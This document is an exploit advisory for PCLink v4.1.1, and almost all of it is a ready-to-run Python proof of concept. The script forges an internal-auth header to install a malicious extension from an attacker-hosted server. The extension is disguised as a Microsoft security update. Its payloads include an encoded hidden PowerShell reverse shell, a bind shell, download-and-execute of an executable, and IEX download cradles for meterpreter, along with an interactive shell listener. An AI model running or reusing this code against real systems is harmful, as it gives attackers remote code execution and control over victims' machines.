📄 PCLink 4.1.1 Insecure Extension Installation

==================================================================================================================================
    | # Title     : PCLink v4.1.1 – Insecure Extension Installation and Potential Remote Code Execution                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/BYTEDz/PCLink                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : a vulnerable configuration in PCLink v4.1.1 could potentially be abused to install unauthorized extensions. 
                     The script automates the creation of an extension package, hosts it through a local HTTP server, and sends requests to the target application to trigger the extension installation process.
    				 
    [+] POC        : 
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import os
    import time
    import zipfile
    import tempfile
    import shutil
    import argparse
    import base64
    import threading
    import socket
    import http.server
    import socketserver
    from pathlib import Path
    
    class PCLinkExploit:
        def __init__(self, target_host="127.0.0.1", target_port=38080, ssl=True, 
                     attacker_host=None, http_port=8000, reverse_port=4444):
            """
            Initialize PCLink exploit
            """
            self.target_host = target_host
            self.target_port = target_port
            self.ssl = ssl
            self.attacker_host = attacker_host or self.get_local_ip()
            self.http_port = http_port
            self.reverse_port = reverse_port
            self.protocol = "https" if ssl else "http"
            self.base_url = f"{self.protocol}://{target_host}:{target_port}"
            self.headers = {
                "X-Internal-Auth": "true",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
            }
            self.http_server = None
            self.zip_path = None
            self.extension_dir = None
            
        def get_local_ip(self):
            """Get local IP address"""
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                s.connect(("8.8.8.8", 80))
                ip = s.getsockname()[0]
                s.close()
                return ip
            except:
                return "127.0.0.1"
        
        def create_malicious_extension(self, payload_type="cmd", command=None, 
                                       reverse_ip=None, reverse_port=None, bind_port=4444, download_url=None):
            """
            Create malicious PCLink extension
            """
            print("[*] Creating malicious extension...")
            self.extension_dir = tempfile.mkdtemp()
    
            if payload_type == "cmd":
                main_content = self.create_cmd_payload(command)
            elif payload_type == "reverse_shell":
                main_content = self.create_reverse_shell(reverse_ip, reverse_port)
            elif payload_type == "bind_shell":
                main_content = self.create_bind_shell(bind_port)
            elif payload_type == "download_execute":
                main_content = self.create_download_execute(download_url)
            elif payload_type == "meterpreter":
                main_content = self.create_meterpreter_payload(reverse_ip, reverse_port)
            elif payload_type == "powershell_ep":
                main_content = self.create_powershell_ep(reverse_ip, reverse_port)
            else:
                main_content = self.create_cmd_payload(command)
    
            extension_yaml = """id: pwn_{timestamp}
    name: System Update
    display_name: Critical Security Update
    description: This update addresses critical security vulnerabilities
    author: Microsoft Corporation
    version: 1.0.0
    pclink_version: 4.1.1
    entry_point: main.py
    """
            yaml_path = os.path.join(self.extension_dir, "extension.yaml")
            main_path = os.path.join(self.extension_dir, "main.py")
            
            with open(yaml_path, "w") as f:
                f.write(extension_yaml.format(timestamp=int(time.time())))
            
            with open(main_path, "w") as f:
                f.write(main_content)
    
            self.zip_path = os.path.join(tempfile.gettempdir(), f"pwn_{int(time.time())}.zip")
            with zipfile.ZipFile(self.zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                zipf.write(yaml_path, "extension.yaml")
                zipf.write(main_path, "main.py")
            
            print(f"[+] Extension created: {self.zip_path}")
            return self.zip_path
        
        def create_cmd_payload(self, command=None):
            if not command:
                command = "echo PCLink PWNED! && whoami && hostname"
            
            return f'''import subprocess
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            CREATE_NEW_CONSOLE = 0x00000010
            try:
                subprocess.Popen(['cmd.exe', '/c', {repr(command)}], creationflags=CREATE_NEW_CONSOLE, shell=True)
            except:
                pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
        
        def create_reverse_shell(self, reverse_ip=None, reverse_port=None):
            ip = reverse_ip or self.attacker_host
            port = reverse_port or self.reverse_port
            
            ps_reverse = f'''
    $client = New-Object System.Net.Sockets.TCPClient('{ip}',{port});
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{{0}};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush()
    }};
    $client.Close()
    '''
            encoded = base64.b64encode(ps_reverse.encode('utf-16le')).decode('ascii')
            
            return f'''import subprocess
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            CREATE_NEW_CONSOLE = 0x00000010
            powershell_cmd = f"powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc {encoded}"
            try:
                subprocess.Popen(['cmd.exe', '/c', powershell_cmd], creationflags=CREATE_NEW_CONSOLE, shell=True)
            except:
                pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
        
        def create_bind_shell(self, bind_port=4444):
            return f'''import subprocess
    import socket
    import threading
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            threading.Thread(target=self.bind_shell, daemon=True).start()
        
        def bind_shell(self):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.bind(('0.0.0.0', {bind_port}))
            s.listen(1)
            try:
                conn, addr = s.accept()
                while True:
                    data = conn.recv(1024)
                    if not data: break
                    proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout, stderr = proc.communicate()
                    conn.send(stdout + stderr)
                conn.close()
            except:
                pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
        
        def create_download_execute(self, download_url=None):
            if not download_url:
                download_url = f"http://{self.attacker_host}:{self.http_port}/payload.exe"
            
            return f'''import subprocess
    import urllib.request
    import os
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            try:
                target_path = os.path.join(os.environ.get('TEMP', 'C:\\\\Windows\\\\Temp'), 'payload.exe')
                urllib.request.urlretrieve('{download_url}', target_path)
                subprocess.Popen([target_path], creationflags=0x00000010)
            except:
                pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
        
        def create_meterpreter_payload(self, reverse_ip=None, reverse_port=None):
            ip = reverse_ip or self.attacker_host
            port = reverse_port or self.reverse_port
            return f'''import subprocess
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            ps_cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \\"IEX (New-Object Net.WebClient).DownloadString('http://{ip}:{port}/meterpreter.ps1')\\""
            try: subprocess.Popen(['cmd.exe', '/c', ps_cmd], creationflags=0x00000010, shell=True)
            except: pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
    
        def create_powershell_ep(self, reverse_ip=None, reverse_port=None):
            ip = reverse_ip or self.attacker_host
            port = reverse_port or self.reverse_port
            return f'''import subprocess
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            ps_launcher = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \\"$WC=New-Object System.Net.WebClient;$WC.DownloadString('http://{ip}:{port}/launcher.ps1') | IEX\\""
            try: subprocess.Popen(['cmd.exe', '/c', ps_launcher], creationflags=0x00000010, shell=True)
            except: pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
    
        def start_http_server(self):
            """Start HTTP server to host malicious extension"""
            print(f"[*] Starting HTTP server on port {self.http_port}")
            
            self.old_cwd = os.getcwd()
            os.chdir(tempfile.gettempdir())
            
            handler = http.server.SimpleHTTPRequestHandler
            try:
                self.http_server = socketserver.TCPServer(("0.0.0.0", self.http_port), handler)
                thread = threading.Thread(target=self.http_server.serve_forever)
                thread.daemon = True
                thread.start()
                print(f"[+] HTTP server running at http://{self.attacker_host}:{self.http_port}")
                return True
            except Exception as e:
                print(f"[-] Failed to start HTTP server: {e}")
                os.chdir(self.old_cwd)
                return False
        
        def stop_http_server(self):
            if self.http_server:
                self.http_server.shutdown()
                self.http_server.server_close()
                print("[*] HTTP server stopped")
        
        def install_extension(self, extension_url=None):
            if not extension_url:
                extension_url = f"http://{self.attacker_host}:{self.http_port}/{os.path.basename(self.zip_path)}"
            
            install_endpoint = f"{self.base_url}/ui/extensions/install/url"
            print(f"[*] Installing extension from: {extension_url}")
    
            verify_ssl = False 
            
            try:
                response = requests.post(
                    install_endpoint,
                    params={"url": extension_url},
                    headers=self.headers,
                    verify=verify_ssl,
                    timeout=30
                )
                print(f"[*] Response Status: {response.status_code}")
                if response.status_code == 200:
                    print("[+] Extension installed successfully!")
                    return True
                else:
                    print(f"[-] Installation failed: {response.status_code}")
                    return False
            except Exception as e:
                print(f"[-] Error installing extension: {e}")
                return False
        
        def list_extensions(self):
            list_endpoint = f"{self.base_url}/ui/extensions"
            try:
                response = requests.get(list_endpoint, headers=self.headers, verify=False, timeout=10)
                if response.status_code == 200:
                    print("[+] Installed extensions:")
                    print(json.dumps(response.json(), indent=2))
                    return response.json()
            except Exception as e:
                print(f"[-] Error listing extensions: {e}")
            return None
        
        def uninstall_extension(self, extension_id):
            uninstall_endpoint = f"{self.base_url}/ui/extensions/{extension_id}"
            try:
                response = requests.delete(uninstall_endpoint, headers=self.headers, verify=False, timeout=10)
                if response.status_code == 200:
                    print(f"[+] Extension '{extension_id}' uninstalled")
                    return True
            except Exception as e:
                print(f"[-] Error uninstalling: {e}")
            return False
        
        def cleanup(self):
            if self.zip_path and os.path.exists(self.zip_path):
                try: os.remove(self.zip_path)
                except: pass
            if self.extension_dir and os.path.exists(self.extension_dir):
                try: shutil.rmtree(self.extension_dir)
                except: pass
    
    
    class ReverseShellHandler:
        """Correcting the listener's logic to be properly interactive via the command line"""
        @staticmethod
        def start_listener(port):
            print(f"[*] Starting reverse shell listener on port {port}")
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                server.bind(('0.0.0.0', port))
                server.listen(1)
                conn, addr = server.accept()
                print(f"[+] Connection established from {addr}")
                
                while True:
                    cmd = input("Shell> ")
                    if cmd.lower() in ['exit', 'quit']:
                        break
                    if not cmd.strip():
                        continue
                    conn.send(cmd.encode() + b"\n")
                    time.sleep(0.5)
                    sys.stdout.write(conn.recv(4096).decode(errors='ignore'))
                conn.close()
            except Exception as e:
                print(f"[-] Listener error: {e}")
            finally:
                server.close()
    def main():
        parser = argparse.ArgumentParser(description='PCLink v4.1.1 - Code Review Fix')
        parser.add_argument('-t', '--target', default='127.0.0.1')
        parser.add_argument('-p', '--port', type=int, default=38080)
        parser.add_argument('--no-ssl', action='store_true')
        parser.add_argument('-c', '--command')
        parser.add_argument('--payload-type', choices=['cmd', 'reverse_shell', 'bind_shell','download_execute', 'meterpreter', 'powershell_ep'], default='cmd')
        parser.add_argument('--reverse-shell', action='store_true')
        parser.add_argument('--bind-port', type=int, default=4444)
        parser.add_argument('--lhost')
        parser.add_argument('--lport', type=int, default=4444)
        parser.add_argument('--http-port', type=int, default=8000)
        parser.add_argument('--download-execute')
        parser.add_argument('--list-extensions', action='store_true')
        parser.add_argument('--uninstall')
        parser.add_argument('--extension-url')
        parser.add_argument('--no-cleanup', action='store_true')
        
        args = parser.parse_args()
        exploit = PCLinkExploit(
            target_host=args.target,
            target_port=args.port,
            ssl=not args.no_ssl,
            attacker_host=args.lhost,
            http_port=args.http_port,
            reverse_port=args.lport
        )
        
        if args.list_extensions:
            exploit.list_extensions()
            sys.exit(0)
            
        if args.uninstall:
            exploit.uninstall_extension(args.uninstall)
            sys.exit(0)
            
        if args.reverse_shell or args.payload_type == 'reverse_shell':
            listener_thread = threading.Thread(target=ReverseShellHandler.start_listener, args=(args.lport,))
            listener_thread.daemon = True
            listener_thread.start()
            time.sleep(1)
    
        if args.payload_type == 'cmd':
            command = args.command or "echo PCLink PWNED!"
            exploit.create_malicious_extension(payload_type='cmd', command=command)
        elif args.payload_type == 'reverse_shell':
            exploit.create_malicious_extension(payload_type='reverse_shell', reverse_ip=args.lhost, reverse_port=args.lport)
        elif args.payload_type == 'bind_shell':
            exploit.create_malicious_extension(payload_type='bind_shell', bind_port=args.bind_port)
        elif args.payload_type == 'download_execute':
            exploit.create_malicious_extension(payload_type='download_execute', download_url=args.download_execute)
        else:
            exploit.create_malicious_extension(payload_type=args.payload_type, reverse_ip=args.lhost, reverse_port=args.lport)
        exploit.start_http_server()
        time.sleep(1)
        
        print("\n[*] Attempting to install extension...")
        success = exploit.install_extension(args.extension_url)
        
        if success:
            if args.payload_type == 'bind_shell':
                print(f"[*] Connect via: nc {args.target} {args.bind_port}")
            
            try:
                while True: time.sleep(1)
            except KeyboardInterrupt:
                print("\n[*] Shutting down...")
                
        if not args.no_cleanup:
            exploit.stop_http_server()
            exploit.cleanup()
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================